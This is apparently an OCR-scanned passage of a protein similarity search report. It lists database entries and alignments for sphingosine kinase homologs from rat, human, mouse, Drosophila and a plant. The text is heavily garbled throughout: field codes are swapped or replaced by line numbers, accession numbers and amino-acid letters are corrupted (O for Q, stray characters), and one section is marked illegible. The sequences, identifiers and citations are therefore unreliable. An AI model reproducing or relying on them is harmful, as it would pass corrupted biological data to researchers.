 RP SEQUENCE FROM N.A.
 RA MEDLINE-98395082; PubMed-9726979;
 RA Kohama T., Oliveira A., Edsall L., Nagiec M.M., Dickson R., Spiegel S.;
 RT "Molecular cloning and functional characterization of murine
 sphingosine kinase."
 RL J. Biol. Chem. 273:23722-23728(1998).
 DR EMBL: AF068748; AAC61697.1; -
 DR MGI: 1316649; Spk1.
 DR InterPro: IPR001206; DAGK.
 DR InterPro: IPR003622; DAG_kin_cat.
 DR Pfam: PF00781; DAGK; 1.
 DR Prodom: PD005043; DAG_kin_cat; 1.
 DR SMART: SM00046; DAGK; 1.
 KW Kinase.
 FT NON_TER
 SQ SEQUENCE 504 AA; 55119 MW; 2AAFEBA72027F509 CRC64;

Query Match 78.5%; Score 1582.5; DB 11; Length 504;

Best Local Similarity 79.6%; Pred. No. 1.9e-131;
Matches 300; Conservative 35; Mismatches 41; Indels 1; Gaps 1;

```

OY 7 PRGVLPKRVYLINPRGKGAALQFERSHVQPLLAEMISFTLMTERRHARELYRS 66
DB 129 PRGLRPPKRVYLINPRGKGAALQFERSHVQPLLEFAETFKILLERKNHAEVCA 188
OY 67 EELGRDALVYMSGDLGMEHVNGLMERPDMETAIOKPLCSLPAGSGNALAASLNHYAGY 126
DB 189 EELGHWALAVYMSGDLGMEHVNGLMERPDMETAIOKPLCSLPAGSGNALAASLNHYAGY 248
OY 127 EGVYNEEDLLNCTLLCRPVLSPMNLISHTASGLRSFVSLSIANGFIVDLESKYR 186
DB 249 EGVYNEEDLLNCTLLCRPVLSPMNLISHTASGLRSFVSLSIANGFIVDLESKYR 308
OY 187 LGKRFPLGFTPLAALRTYGRATLPVGRVGFKTTPASPVVVOGQPVDAHLVPLEEOPV 246
DB 309 LGKRFPLGFTPLAALRTYGRATLPVGRVGFKTTPASPVVVOGQPVDAHLVPLEEOPV 367
OY 247 SHMOVDEDEFLVLLALSHSLASEMFAAPMGRCAGVNHLYRAGVSRAMLLRLFLAM 306
DB 368 SHMTVVEQDPLVLLVLLHTLHSLSELPAPMGRCAGVNHLYRAGVSRAMLLRLFLAM 427
OY 307 EKGHMEYECPTLVYVVAFRLEPKDKGVFAVDGELMYSFAVGOVHPNYFMVSGCY 366
DB 428 QKGHMEYECPTLVYVVAFRLEPKDKGVFAVDGELMYSFAVGOVHPNYFMVSGCY 487
OY 367 EPPSPKPPQMPPEEP 383
DB 488 DAPSGDRSRGPPPEEP 504

```

RESULT 7
O91V26 PRELIMINARY: PRT; 383 AA.

```

AC 091V26:
DT 01-DEC-2001 (TREMBLrel. 19, last sequence update)
DT 01-DEC-2001 (TREMBLrel. 20, last annotation update)
DE 01-MAR-2002 (TREMBLrel. 20, last annotation update)
DE Sphingosine kinase 1f (Sphingosine kinase 1c)
DE Sphingosine kinase 1d (Sphingosine kinase 1e).
GN SPHK1F OR SPHK1A OR SPHK1C OR SPHK1D OR SPHK1E.
OS Rattus norvegicus (Rat).
OC Eukaryota; Metazoa; Chordata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Rodentia; Sciurognathi; Muridae; Rattus.
OC NCBI_TaxID=10116;
OX [1]
RN SEQUENCE FROM N.A.
RP Itamura T., Ohgane J., Ito S., Ogawa T., Hattori N., Tanaka S.,
RA Shiohara K.;
RT "cpg island of rat sphingosine kinase-1 gene: tissue-dependent DNA
methylation status and multiple alternative first exons.";
RL Genomics 78:117-125(2001).
DB EMBL; AB049575; BAB62324.1; -
DB EMBL; AB049571; BAB62320.1; -
DB EMBL; AB049572; BAB62321.1; -
DB EMBL; AB049573; BAB62322.1; -
DB EMBL; AB049574; BAB62323.1; -
DB EMBL; AB049575; BAB62324.1; -
DR InterPro: IPR001206: DAGKc.
DR InterPro: IPR003622: DAGKc.
DR Pfam: PF00781: DAGKc; 1.
DR ProDom: PD005043: DAG_kin_cat; 1.
KW KINASE.
SQ SEQUENCE 383 AA; 42418 MW; CAAD5817BF4B9507 CRC64;

```

Query Match 77.2%; Score 155.5; DB 11; Length 383;
Best Local Similarity 76.3%; Pred. No. 3.3e-129;
Matches 293; Conservative 44; Mismatches 46; Indels 1; Gaps 1;

```

OY 1 MDPAGGPRGVLPKRVYLINPRGKGAALQFERSHVQPLLAEMISFTLMTERRHNA 60
DB 1 MDPADCRGLLPKRVYLINPRGKGAALQFERSHVQPLLEFAEVSFKMLTERONHA 60

```

```

OY 61 RELVSRBELGRMDALVYMSGDLGMEHVNGLMERPDMETAIOKPLCSLPAGSGNALAASL 120
DB 61 RELVCAEELHMDALVYMSGDLGMEHVNGLMERPDMETAIOKPLCSLPAGSGNALAASL 120
OY 121 NHYAGYQVYNEEDLLNCTLLCRPVLSPMNLISHTASGLRSFVSLSIANGFIVDLE 180
DB 121 NYAGHGVYNEEDLLNCTLLCRPVLSPMNLISHTASGLRSFVSLSIANGFIVDLE 180
OY 181 SDKTRRIGKRFPLGFTPLAALRTYGRATLPVGRVGFKTTPASPVVVOGQPVDAHLV 240
DB 181 SEKTRRIGKRFPLGFTPLAALRTYGRATLPVGRVGFKTTPASPVVVOGQPVDAHLV 239
OY 241 LEEQVPSHMOVDEDEFLVLLALSHSLASEMFAAPMGRCAGVNHLYRAGVSRAMLL 300
DB 240 LEEQVPSHMOVDEDEFLVLLALSHSLASEMFAAPMGRCAGVNHLYRAGVSRAMLL 299
OY 301 RLFLAMEGRHMEYECPTLVYVVAFRLEPKDKGVFAVDGELMYSFAVGOVHPNYFM 360
DB 300 RLFLAMQKGMHMDLDCPVLVVAFRLEPKDKGVFAVDGELMYSFAVGOVHPNYFM 359
OY 361 MYSGCPEPPSPKPPQMPPEEP 384
DB 360 MYSGSDSPSGDRSRGPPPEEP 383

```

RESULT 8
O9BTG7 PRELIMINARY: PRT; 290 AA.

```

AC 09BTG7:
DT 01-JUN-2001 (TREMBLrel. 17, last sequence update)
DT 01-JUN-2001 (TREMBLrel. 17, last sequence update)
DT 01-MAR-2002 (TREMBLrel. 20, last annotation update)
DE 01-MAR-2002 (TREMBLrel. 20, last annotation update)
DE Similar to sphingosine kinase 1 (fragment).
OS Homo sapiens (Human).
OC Eukaryota; Metazoa; Chordata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Primates; Catarrhini; Hominiidae; Homo.
OC NCBI_TaxID=9606;
OX [1]
RN SEQUENCE FROM N.A.
RP STRAUSSBERG R.;
RA Strausberg R.;
RL Submitted (MAR-2001) to the EMBL/GenBank/DBJ databases.
DB EMBL; BC004112; AAH04112.1; -
KW KINASE.
KW NON_TER
FT SEQUENCE 290 AA; 31998 MW; A3B7A219DB52C520 CRC64;
SQ SEQUENCE 290 AA; 31998 MW; A3B7A219DB52C520 CRC64;

```

Query Match 72.2%; Score 1454; DB 4; Length 290;
Best Local Similarity 96.9%; Pred. No. 2.1e-120;
Matches 278; Conservative 2; Mismatches 7; Indels 0; Gaps 0;

```

OY 98 ETATQKPLCSLPAGSGNALAASLNHYAGYQVYNEEDLLNCTLLCRPVLSPMNLISHT 157
DB 4 ETATQKPLCSLPAGSGNALAASLNHYAGYQVYNEEDLLNCTLLCRPVLSPMNLISHT 63
OY 158 ASGLRFSFVSLSIANGFIVDLESKYRLEKRFPLGFTPLAALRTYGRATLPVGR 217
DB 64 ASGLRFSFVSLSIANGFIVDLESKYRLEKRFPLGFTPLAALRTYGRATLPVGR 123
OY 218 VGRFTPASPVVVOGQPVDAHLVPLEEOPVSHMOVDEDEFLVLLALSHSLASEMFA 277
DB 124 VGRFTPASPVVVOGQPVDAHLVPLEEOPVSHMOVDEDEFLVLLALSHSLASEMFA 183
OY 278 GRCAAGVNHLYRAGVSRAMLLRLFLAMEGRHMEYECPTLVYVVAFRLEPKDKGV 337
DB 184 GRCAAGVNHLYRAGVSRAMLLRLFLAMEGRHMEYECPTLVYVVAFRLEPKDKGV 243
OY 338 FAVDGLMYSFAVGOVHPNYFMVSGCPEPPSPKPPQMPPEEP 384
DB 244 FAVDGLMYSFAVGOVHPNYFMVSGCPEPPSPKPPQMPPEEP 290

```

RESULT 9

Q9H002 PRELIMINARY; PRT; 654 AA.
 ID Q9H002
 AC Q9H002
 DT 01-MAR-2001 (TREMBLrel. 16, Created)
 DT 01-MAR-2001 (TREMBLrel. 16, Last sequence update)
 DE Hypothetical 69.2 kDa protein.
 GN DKF2564M0682.
 OS Homo sapiens (Human).
 OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 OC Mammalia; Eutheria; Primates; Catarrhini; Homidae; Homo.
 OX NCBI_TaxID=9606;
 RN [1]
 RP SEQUENCE FROM N.A.
 RC TISSUE=BRIN;
 RX MEDLINE=21154917; PubMed=11230166;
 RA Wiemann S., Weil B., Wellenreuther R., Gassenhuber J., Glassl S.,
 RA Ansgorge W., Boecker M., Bloecher H., Bauersachs S., Blum H.,
 RA Lauber J., Duesterhoeft A., Beyer A., Koehler K., Strack N.,
 RA Mewes H.W., Othenwaelder B., Obermaier B., Tampe J., Heubner D.,
 RA Wandt R., Korn B., Klein M., Poustka A.,
 RT "Towards a Catalog of Human Genes and Proteins: Sequencing and
 RT Analysis of 500 Novel Complete Protein Coding Human cDNAs."
 RL Genome Res. 11:422-435(2001).
 DR EMBL: AL136701; CAB66636.1;
 DR InterPro: IPR001206; DAGKc;
 DR InterPro: IPR003622; DAG_kin_cat.
 DR Pfam: PF00781; DAGKc; 1.
 DR ProDom: PD005043; DAG_kin_cat; 1.
 DR SMART: SM00046; DAGKc; 1.
 KW Hypothetical protein.
 SQ SEQUENCE 654 AA; 69207 MW; E9DF12E2AC0CF0B CRC64;

Query Match 42.5%; Score 856.5; DB 4; Length 654;
 Best Local Similarity 38.6%; Pred. No. 4e-67;
 Matches 189; Conservative 63; Mismatches 111; Indels 127; Gaps 6;

QY 10 VLPRCRYLVLPNPGGKGLQLFRSHVQPLAEAFSTLMTERRNHARELYRSEL 69
 DB 176 LIPRRRLILVNPFGGGLAMQCKNHYLPISAGSFNLIQTERONHARELYQGLSL 235
 QY 70 GRMDALVYMSGDGLHEVYNGIMERPDMETAIQKPLCSLPAGSGNALASLNHYAGYBOY 129
 DB 236 SEMDGIYVSGDGLHEVYNGIMERPDMETAIQKPLCSLPAGSGNALAGAVYQHGFEPA 295
 QY 130 TNEDLITCTLLCPVLSPLNLSLHTASGLRSVSYSLMGFIADVDLESCKRRLGE 189
 DB 296 LGDLILLNCSTLLCGGGHPLDLSVTLASGRCSFSLVAMGFVSDVDIOSERRFALGS 355
 QY 190 MRFITGFLRLAALRTYGRGLATLPV----- 215
 DB 356 ARFTIGVLGLATLTHTYGRGLSYLPATVEPASPTPAHSLPRAKSELTLTPDPAPMAHSP 415
 QY 216 ----- 215
 DB 416 LHRVSVDLPRLPOPALASPGSPERPLTSLUNGSGPELAGDMGAGDAPLSPPDLLSSSP 475
 QY 216 --GRVGEKTPAS--PVVVQO-----GVDNALVPLEEOVPSHMOYVP 253
 DB 476 GSPKALHSPVSEGAIVIPSSGILPLPPDARVGAAGTSGPPDHLLPLPLGTPPLPDM-VTL 534
 QY 254 DEDFVLVLAALSHSLASEMPAARMGRCAAGVNHLYVYAGVSRAMLRLFLAMEGRHME 313
 DB 535 EGDFFVLMALISPSHIGADLVAAIPARFDDGLVHLCAVWSGISRAALLRLFLAMEGRSHFS 594
 QY 314 YECPLYLVVPAVFAFLERPKDGKFAVADGELVNSAVOQVHPNFMVYSGCVPEPPSMK 373
 DB 595 LGCPLQGYAAARAFLEPLTPRGVLTVDGEQVEYERPLDAQNHPRIGITLLTG----PQCG- 649
 QY 374 PQQMPPEEP 383
 DB 650 -----PGRFP 654

RESULT 10
 ID Q9BRN1 PRELIMINARY; PRT; 654 AA.
 AC Q9BRN1
 DT 01-JUN-2001 (TREMBLrel. 17, Created)
 DT 01-JUN-2001 (TREMBLrel. 17, Last sequence update)
 DE Hypothetical 69.2 kDa protein.
 GN DKF2564M0682.
 OS Homo sapiens (Human).
 OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 OC Mammalia; Eutheria; Primates; Catarrhini; Homidae; Homo.
 OX NCBI_TaxID=9606;
 RN [1]
 RP SEQUENCE FROM N.A.
 RC TISSUE=Lymph;
 RA Strausberg R.;
 RL Submitted (Apr-2001) to the EMBL/Genbank/DBJ databases.
 DR EMBL: BC006161; AAH06161.1;
 DR InterPro: IPR001206; DAGKc;
 DR InterPro: IPR003622; DAG_kin_cat.
 DR Pfam: PF00781; DAGKc; 1.
 DR ProDom: PD005043; DAG_kin_cat; 1.
 DR SMART: SM00046; DAGKc; 1.
 KW Hypothetical protein.
 SQ SEQUENCE 654 AA; 69217 MW; F73FCEC930DA50F CRC64;

Query Match 42.5%; Score 856.5; DB 4; Length 654;
 Best Local Similarity 38.6%; Pred. No. 4e-67;
 Matches 189; Conservative 63; Mismatches 111; Indels 127; Gaps 6;

QY 10 VLPRCRYLVLPNPGGKGLQLFRSHVQPLAEAFSTLMTERRNHARELYRSEL 69
 DB 176 LIPRRRLILVNPFGGGLAMQCKNHYLPISAGSFNLIQTERONHARELYQGLSL 235
 QY 70 GRMDALVYMSGDGLHEVYNGIMERPDMETAIQKPLCSLPAGSGNALASLNHYAGYBOY 129
 DB 236 SEMDGIYVSGDGLHEVYNGIMERPDMETAIQKPLCSLPAGSGNALAGAVYQHGFEPA 295
 QY 130 TNEDLITCTLLCPVLSPLNLSLHTASGLRSVSYSLMGFIADVDLESCKRRLGE 189
 DB 296 LGDLILLNCSTLLCGGGHPLDLSVTLASGRCSFSLVAMGFVSDVDIOSERRFALGS 355
 QY 190 MRFITGFLRLAALRTYGRGLATLPV----- 215
 DB 356 ARFTIGVLGLATLTHTYGRGLSYLPATVEPASPTPAHSLPRAKSELTLTPDPAPMAHSP 415
 QY 216 ----- 215
 DB 416 LHRVSVDLPRLPOPALASPGSPERPLTSLUNGSGPELAGDMGAGDAPLSPPDLLSSSP 475
 QY 216 --GRVGEKTPAS--PVVVQO-----GVDNALVPLEEOVPSHMOYVP 253
 DB 476 GSPKALHSPVSEGAIVIPSSGILPLPPDARVGAAGTSGPPDHLLPLPLGTPPLPDM-VTL 534
 QY 254 DEDFVLVLAALSHSLASEMPAARMGRCAAGVNHLYVYAGVSRAMLRLFLAMEGRHME 313
 DB 535 EGDFFVLMALISPSHIGADLVAAIPARFDDGLVHLCAVWSGISRAALLRLFLAMEGRSHFS 594
 QY 314 YECPLYLVVPAVFAFLERPKDGKFAVADGELVNSAVOQVHPNFMVYSGCVPEPPSMK 373
 DB 595 LGCPLQGYAAARAFLEPLTPRGVLTVDGEQVEYERPLDAQNHPRIGITLLTG----PQCG- 649
 QY 374 PQQMPPEEP 383
 DB 650 -----PGRFP 654

RESULT 11
 ID Q9D4D1 PRELIMINARY; PRT; 384 AA.
 AC Q9D4D1
 DT 01-JUN-2001 (TREMBLrel. 17, Created)

DT	01-JUN-2001 (TREMBlrel. 17, last sequence update)
DE	01-MAR-2002 (TREMBlrel. 20, last annotation update)
DB	Adult male testis cDNA, RIKEN full-length enriched library,
OC	clone:4933402E20, full insert sequence.
OS	Mus musculus (Mouse).
CC	Eukaryota; Metazoa; Chordata; Vertebrata; Euteleostomi;
NC	Mammalia; Eutheria; Rodentia; Sciurognathi; Muridae; Mus.
OX	NCBI_TaxID=10090;
1	SEQUENCE FROM N.A.
2	STRAIN=C57BL/6J; TISSUE=TESTIS;
3	MEDLINE=21085660; PubMed=11217851;
4	Kawai J., Shinagawa A., Shibata K., Yoshino M., Itoh M., Ishii Y.,
5	Arakawa T., Hara A., Fukunishi Y., Konno H., Adachi J., Fukuda S.,
6	Aizawa K., Iwawa M., Nishi K., Kiyosawa H., Kondo S., Yamataka I.,
7	Saito T., Okazaki Y., Gotohori T., Bono H., Katsukawa T., Saito R.,
8	Kadota K., Matsuda H.A., Ashburner M., Batilov S., Casavant T.,
9	Fleischmann W., Gaasterland T., Gissi C., King B., Kochiwa H.,
10	Kuehl P., Lewis S., Matsuo Y., Nikaido I., Pesole G., Quackenbush J.,
11	Schimi L., Stabuli F., Suzuki R., Tomita M., Wagner L., Mashio T.,
12	Sakai K., Okano T., Furuno M., Aono H., Baldarelli R., Barish G.,
13	Blake J., Boffelli D., Bojunga N., Carninci P., de Bonaldo M.F.,
14	Brownstein M.J., Bult C., Fletcher C., Fujita M., Garibaldi M.,
15	Gustincich S., Hill D., Hofmann M., Hume D.A., Kanlaya M., Lee N.H.,
16	Lyons P., Marchionni L., Mashima J., Mazzarelli T., Momberts P.,
17	Nordone P., Ring B., Ringwald M., Rodriguez I., Sakamoto N.,
18	Sasaki H., Sato K., Schoenbach C., Seya T., Shibata Y., Storch K.-F.,
19	Ra Suzuki H., Toyokawa K., Wang K.H., Weltz C., Whitaker C., Wilming L.,
20	Wynshaw-Boris A., Yoshida K., Hasegawa Y., Kawai H., Kontskii S.,
21	Hayashizaki Y.;
22	Functional annotation of a full-length mouse cDNA collection.;
23	RT Nature 409:685-690(2001).
24	RL EMBL: A016616; BAB30339.1.;
25	SO SEQUENCE 384 AA; 39865 MW; 6C94D1D3806092A3 CRC64;
26	Query Match 29.3%; Score 590; DB 11; Length 384;
27	Best Local Similarity 35.1%; Pred. No. 7.2e-44;
28	Matches 136; Conservative 40; Mismatches 91; Indels 120; Gaps 4
29	104 PLCSLPAGSGNALAASLNRYAGGEQVNTDILTNCTLLCRPYLSPMNLSHTASGLRS 163
30	1: : : : :
31	2 PICVLPCCSGNALGAVNNHGGEGVAVDVLNCSLLCRGSGHPDLDSLTLASGSGRC 61
32	164 FSVLSLAWGFIVADVDESQRYRRLGEMRFTLTGFLRLAALRYRGLATLPV----- 215
33	1: : :
34	62 FSVLSLAWGFIVADVDESQRYRRLGEMRFTLTGFLRLAALRYRGLATLPV----- 215
35	216 ----- 215
36	122 PGHSLPRAKSHVLAAPAPAPAAATHSPILHNSVSLPLPLPOPALVSGSPPLPDLSLNG 181
37	216 -----GRVGEKTP--ASPVV 228
38	182 GPBLTGMGAGADAPLSPDPLPSSPAALTAQSLPAEGRPEMPASSGFLPETHSAPRA 241
39	229 VQGGPVDAHLVLEEQVPSHMOVVDEDFVYLVALHSLHSLASEFAPAPKRCAGVNHLE 288
40	1: : : :
41	242 STWGVVDHLPLPLSPLEPODVITIEGE-FVLMGLIPLSHCADMAAPARFDDGVVHLC 300
42	289 YVRAGVSAAMLRLFLAMEKGRNHEDECPYVYVPAVFAFLRLEPKDGGVAVDGEIHWSE 348
43	1: : :
44	301 WVRSSISRAALRIILAAENHNNHSKCPHGLGTAAAPAFLEPLITPRLGLTLVYGEIWEYG 360
45	349 AVQGVHNPYFMVWVSGCEVPPSPKQ 375
46	1: : :
47	361 PIGAVVHPIGLATLTLG----PAGQPPQ 383
48	RESULT 12
49	09VY8 PRELIMINARY; PRT; 641 AA.
50	AC 09VY8:
51	01-MAY-2000 (TREMBlrel. 13, created)

[illegible]

```

Db 304 PREPR-----IHAALTCMAGKSTPMDDYRVELATRDKHFWYSLSYGWLADIIDS 359
Oy 182 DRYRLGEMRFTLGTEFLRLAALRTYRGRLATPVGRVGEKTPASVY----- 227
Db 360 ERLSRTGAKRFTLMAIKRLIGRLSYKGRVSYL-LCK-GKEP--PVEAARELPASTAAG 415
Oy 228 VVOQGPVDA--HLVPLEE----- 243
Db 416 IRSSLPUNAGEFHDLPDEEGEAVLDGEQFADALSUSVYQOHADSMSHMSRRTAYYS 475
Oy 244 -----OVV-----SHMOVPEDEFLVLA 262
Db 476 LGGPMRSNRSHMSISQRIEANAFAERVPCTIPIQMLPLSSDGMICEDGDFVMVA 535
Oy 263 LLSHLSASEMFAAPGRCAAGYMHLPYRAGYSRMLRLFLAMKGRHMEY-ECPPYLVY 321
Db 536 ATTHLSDDVFAPSPRLDDGLIYIIRGVSRHQLNFMMLNLAGTHLPAGEDPFTKV 595
Oy 322 VVVVAFRLPEPKDGKGFVAVGELVYSEAVOGVHP 356
Db 596 VPCRAFRIEPPSSDDILVVDGERVYGPLOAEVMP 630

```

```

RESULT 13
O8T0C1 PRELIMINARY: PRT: 661 AA.
AC O8T0C1:
DT 01-JUN-2002 (TREMBLrel. 21, Created)
DT 01-JUN-2002 (TREMBLrel. 21, Last sequence update)
DT 01-JUN-2002 (TREMBLrel. 21, Last annotation update)
DE LD11247P.
GN CG2159.
OS Drosophila melanogaster (Fruit fly).
OC Eukaryota; Metazoa; Arthropoda; Tracheata; Hexapoda; Insecta;
OC Pterygota; Neoptera; Endopterygota; Diptera; Brachycera; Muscomorpha;
OC Ephydroidea; Drosophilidae; Drosophila.
OX NCBI_Taxid=7227;
RN [1]
RP SEQUENCE FROM N.A.
RC STRAIN-BERKELEY;
RA Stapleton M., Brokstein P., Hong L., Agbayani A., Carlson J.,
RA Champe M., Chavez C., Dorsett V., Farfan D., Frise E., George R.,
RA Gonzalez M., Guarin H., Li P., Liao G., Miranda A., Mungall C.J.,
RA Nuno J., Pacheb J., Paragas V., Park S., Phouenavong S., Wan K.,
RA Yu C., Lewis S.E., Rubin G.M., Cejner S.;
RA Submitted (DEC-2001) to the EMBL/Genbank/DBJ databases.
RL EMBL: AY069417; AAL39562.1;
DR SEQUENCE 661 AA: 73870 MW: 4266E191EEF82D08 CRC64;
SQ

```

Query Match 24.5%; Score 494; DB 5; Length 661;
 Best Local Similarity 29.7%; Pred. No. 4.5e-35;
 Matches 131; Conservative 62; Mismatches 144; Indels 104; Gaps 8;

```

Oy 16 RVLVLLNBRGKGKALQDFRSHVOPDLAEISFTLMTLERRNHAELVRSEELGRMAL 75
Db 216 RVLVLLNBRGSGDAREFVNMHVPLVNEAEVPDYLYTKSNFIEFLSTFCIDAMCCV 275
Oy 76 VMSGDGLMHEVNVNLMRPPWETAI-QKPLCSLPAGSGNALASLNHYAGTEVYTNEDL 134
Db 276 VAVGSDGLMHEVNVNLMRPPWETAI-QKPLCSLPAGSGNALASLNHYAGTEVYTNEDL 134
Oy 135 LTNCLLCLRPVLSLPMNLISLHTASGLRS-FVSLSLANGFTADVLESQKRYRLGEMRFT 193
Db 336 GAALLVISGRS--SPMDVVRVQLQS--RSLYSFLSIGNGILSDVDIESERIMLGTYQFT 391
Oy 194 LCTFLRLAALRTYRGRLATPLVGRVGEKTPASVYVVO-----GPVD- 235
Db 392 VWTFLRYNLRTYNGRISYLLTDEHVSSTHSATGYAQRMSRSCWTHIDMLNGPAPI 451
Oy 236 -----AHLVPLEEVPYSIMO----- 250
Db 452 YHSSAEVLPQEFADVISLETISINOSFRSRCDSWLSGGSRRSFYYSISESIYHLSADESEF 511

```

```

Oy 251 -----VPPDEFLVLLLSHLSASEMFAAP 276
Db 512 AGLAASLLENROQNTGPASELPDLNEPISDEQGLVGEGERVMAHAYQTHLGIDCHRP 571
Oy 277 MGRCAAGYMHLPYRAGYSRMLRLFLAMEGRHM-EYEGPYLVYVVVAFRLPEPKDGK 335
Db 572 KAQLNDGTYLLYLLINAGISLRPLLSFLNMSGTHLPESHDDHVVVLPVRAFLREPYDNH 631
Oy 336 GVFAVNDGELVYSEAVOGVHP 356
Db 632 GIIVVDGERVYGPLOAEVLP 652

```

RESULT 14

```

O9VZW0 PRELIMINARY: PRT: 907 AA.
AC O9VZW0:
DT 01-MAY-2000 (TREMBLrel. 13, Created)
DT 01-MAY-2000 (TREMBLrel. 13, Last sequence update)
DT 01-OCT-2001 (TREMBLrel. 18, Last annotation update)
DE CG2159 protein.
GN CG2159.
OS Drosophila melanogaster (Fruit fly).
OC Eukaryota; Metazoa; Arthropoda; Tracheata; Hexapoda; Insecta;
OC Pterygota; Neoptera; Endopterygota; Diptera; Brachycera; Muscomorpha;
OC Ephydroidea; Drosophilidae; Drosophila.
OX NCBI_Taxid=7227;
RN [1]
RP SEQUENCE FROM N.A.
RC STRAIN-BERKELEY;
RA MEDLINE=20196006; PubMed=10731132;
RA Adams M.D., Celniker S.E., Holt R.A., Evans C.A., Gocayne J.D.,
RA Amanatides P.G., Scherer S.E., Li P.W., Hoskins R.A., Galie R.F.,
RA George R.A., Lewis S.E., Richards S., Ashburner M., Henderson S.N.,
RA Sutton G.G., Wortman J.R., Yandell M.D., Zhang Q., Chen L.X.,
RA Brandon R.C., Rogers Y.-H.C., Blake J.R.G., Champe M., Pfeiffer B.D.,
RA Wan K.H., Doyle C., Baxter E.G., Helt G., Nelson C.R., Miklos G.L.G.,
RA Abril J.F., Agbayani A., An H.-J., Andrews-Pfannkoch C., Baldwin D.,
RA Ballew R.M., Basu A., Baxendale J., Bayraktaroglu L., Beasley E.M.,
RA Beeson K.Y., Benos P.V., Bernan B.P., Bhandari D., Bolshakov S.,
RA Borokova D., Botchan M.R., Bouck J., Brokstein P., Brotlier P.,
RA Burris K.C., Busam D.A., Butler H., Cadieu E., Center A., Chandra I.,
RA Cherry J.M., Cawley S., Dahlke C., Davenport L.B., Davies P.,
RA de Pablos B., Delcher A., Deng Z., Mays A.D., Dew I., Dietz S.M.,
RA Dodson K., Doop L.E., Downes M., Dugan-Rocha S., Dunkov B.C., Dunn P.,
RA Dutilleul K., Evangelista C.C., Ferraz C., Ferriere S., Fleischmann W.,
RA Foster C., Gabrielian A.E., Gary N.S., Gelbart W.M., Glasser K.,
RA Glodek A., Gong F., Gorrell J.H., Gu Z., Guan P., Harris M.,
RA Harris N.L., Harvey D., Heiman T.J., Hernandez J.R., Houck J.,
RA Hostin D., Houston K.A., Howland T.J., Wei M.-H., Ibegwan C.,
RA Jaitai M., Kalush F., Karpen G.H., Ke Z., Kennison J.A., Ketchum K.A.,
RA Kimbel B.E., Kodira C.D., Kraft C., Kravitz S., Kulp D., Lai Z.,
RA Lasco P., Lei Y., Levitsky A.A., Li J., Li Z., Liang Y., Lin X.,
RA Liu X., Mattei B., McIntosh T.C., McLeod M.P., McPherson D.,
RA Merkulov G., Mishina N.V., Mobarry C., Morris J., Moshrefi A.,
RA Mount S.M., Moy M., Murphy B., Murphy L., Muzny D.M., Nelson D.L.,
RA Nelson D.R., Nelson K.A., Nixon K., Nussken D.R., Paclib J.M.,
RA Palazzolo M., Peltman G.S., Pan S., Pollard J., Puri V., Reese M.G.,
RA Reinert K., Remington K., Saunders R.D.C., Scheeler F., Shen H.,
RA Shue B.C., Siden-Klamos I., Simpson M., Skupski M.P., Smith T.,
RA Spler E., Spradling A.C., Stapleton M., Strong R., Sun E.,
RA Svrtskas R., Tector C., Turner R., Venter E., Wang A.H., Wang X.,
RA Wang Z.-Y., Wasserman D.A., Weinstock G.M., Weissbach J.,
RA Williams S.M., Woodage T., Worley K.C., Wu D., Yang S., Yao Q.A.,
RA Ye J., Yeh R.-F., Zaveri J.S., Zhan M., Zhang G., Zhao Q., Zheng L.,
RA Zheng X.H., Zhong F.N., Zhong W., Zhou X., Zhu S., Zhu X., Smith H.O.,
RA Gibbs R.A., Myers E.W., Rubin G.M., Venter J.C.;
RL "The genome sequence of Drosophila melanogaster."
DR EMBL: AE003476; AAF47706.1;
DR Flybase: FBgn0035391; CG2159.
DR Interpro: IPR001251; CRAL_TRIO.

```



```

RL Submitted (MAR-2000) for the EMBL/GenBank/DBJ databases.
DR EMBL; AL022603; CAB18718.1; -
DR EMBL; AL161553; CAB81261.1; -
DR InterPro: IPR001206; DAGC_kin_cat.
DR InterPro: IPR003622; DAG_kin_cat.
DR InterPro: IPR003006; IG_MHC.
DR Pfam: PF00781; DAGCk; 2.
DR Prodom: PD005043; DAG_kin_cat; 2.
DR SMART: SM00046; DAGCk; 2.
DR PROSITE: PS00290; IG_MHC; UNKNOWN_1.
DR Hypothetical protein.
KW SEQUENCE
SQ
1240 AA, 138683 MW, 3AB1FED65CE099E CRC64;

Query Match      21.7%; Score 438; DB 10; Length 1240;
Best Local Similarity 31.5%; Pred. No. 9.1e-30;
Matches 119; Conservative 65; Mismatches 132; Indels 62; Gaps 13;

OY 11 LPRCRLVLTINPRGKRGKALQIFRSVHOPLIAEAISFTLMLTERNNARELYRSEELG 70
   | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
DB 374 LGRKRLVLTIVNPFNGKKSAREIFVEKVKPLFEDADVQLIEIOTKYLQIAKFEVKSMDS 433
   | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

OY 71 RMDALVMSDGDLMHEVYVNGIMGERPDMEAIQKPICSLPAGSGNALASLNHAGYEQVT 130
   : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : :
DB 434 KYDVIYVSGDGLIVEVNGLELRADMRNALPLPGMVPATGGMKSLIDTVGLRCA 493
   : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : :

OY 131 NEDTLTNCITLLCPVLPSPNNILSLHTASGLRSFSVLNGLFIADVDDLESDDYRRIGEM 190
   : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : :
DB 494 N-----SATSIILHGKRSVDVATI-AQGNTFEFSYLMIAAGLIADIDIESEKFRWGS 547
   : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : :

OY 191 RFTLTGFL-----RIALRYSGRLATLPV-GRVFKTPASPVVVQ 230
   | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
DB 548 RIDFVYCLVDKEDNYCIAVVKLALQRIICIKRYNRIILFPAPEFEGYQGPASCISLYOE 607
   | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

OY 231 -----OGPYDAHLVPLEBQVDSHMOVVPDEDFVLYLALLHS--HLASEMFAAPMG 278
   : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : :
DB 608 PHSVSKVEGYQGP-ETKFEEDL-----WREKMGP--FVITMLHNWVGSENLITLPA 657
   : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : :

OY 279 RCAGVYMLFVYRAGVSFRAMLLRFLTAMGRMEYECYLYV-----PVAFRLPE-- 333
